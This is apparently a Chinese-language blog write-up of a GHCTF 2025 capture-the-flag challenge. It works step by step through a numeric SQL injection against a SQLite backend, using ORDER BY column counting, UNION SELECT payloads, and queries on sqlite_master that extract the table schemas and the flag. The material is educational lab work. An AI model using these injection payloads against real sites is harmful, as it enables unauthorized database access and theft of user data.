GHCTF 2025 SQL

Pasted image 20260307111735.png

一、访问网站

Pasted image 20260307111034.png

二、判断是否存在注入,以及注入类型

输入1’,返回hacker,过滤了单引号
Pasted image 20260307111417.png

输入1 and 1=1#,页面返回正常
输入1 and 1=2#,页面返回500

Pasted image 20260307111948.png

1=2结果为假,说明执行了语句存在sql注入,且为数字型注入

三、判断字段数

输入1 order by 5#,页面返回正常
输入1 order by 6#,页面返回500
说明字段数为5

四、测试回显位

1 union select 1,2,3,4,5#

Pasted image 20260307112931.png

五、获取当前数据库名

输入database(),页面报错,说明database() 函数在 SQLite 中不存在,database()仅适用于 MySQL
Pasted image 20260307113442.png

六、获取表名

1 union select 1,2,3,4,group_concat(name) from sqlite_master#

Pasted image 20260307120011.png

获取到表名为flag、users

七、获取列名

1 union select 1,2,3,4,group_concat(sql) from sqlite_master#

Pasted image 20260307120508.png

返回内容如下,其中flag为flag表的列名

CREATE TABLE "flag" ( "flag" TEXT ),
CREATE TABLE "users" ( 
 "id" INTEGER,
 "username" TEXT,
 "email" TEXT,
 "phone" TEXT,
 "address" TEXT 
)

八、获取数据

1 union select 1,2,3,4,group_concat(flag) from flag #

Pasted image 20260307121009.png

总结

  • sqlite注入
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇